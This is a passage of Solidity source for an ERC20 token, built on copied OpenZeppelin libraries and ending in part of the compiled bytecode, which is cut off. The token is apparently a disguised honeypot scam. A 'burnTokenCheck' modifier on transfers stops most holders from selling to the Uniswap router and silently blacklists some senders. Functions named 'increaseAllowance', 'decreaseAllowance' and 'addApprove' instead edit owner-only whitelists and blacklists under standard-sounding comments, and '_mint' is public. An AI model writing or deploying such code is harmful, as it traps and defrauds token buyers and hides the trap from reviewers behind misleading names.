overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b655780600381905